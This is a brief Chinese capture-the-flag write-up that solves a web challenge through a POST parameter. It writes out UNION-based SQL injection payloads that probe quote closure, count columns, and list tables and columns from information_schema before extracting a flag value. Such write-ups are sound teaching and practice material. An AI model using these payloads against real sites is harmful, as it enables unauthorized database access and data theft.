题目:
打开网页:
一个提交页面,按提示输入1,2,3能够得到三个成绩单表格:如1时:
查看源代码:
发现,表单使用post方式提交,并且name="id"
猜测使用SQL注入
首先检测闭合方式:
分别post id=1' id=1"
发现post id=1"时,正常,post id=1'时无响应
应该是单引号 ' ' 闭合
再通过order by查询当前表列数:
于是可以判断出当前表具有4列
查询显示位置:
使用union select查询每一列数据显示位置
判断当前数据库包含的表名:
post
id=-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#
查询表fl4g里的列名:
id=-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='fl4g'#
查询列表fl4g对应skctf_flag列的数据:
id=-1' union select 1,2,3,skctf_flag from fl4g#
得到结果
这里注意使用union select注入时,id不能是存在的数值,因为程序在展示数据的时候通常只会取结果集的第一行数据,如果是已存在的数值,则想要的数据不会存于第一行,就无法显示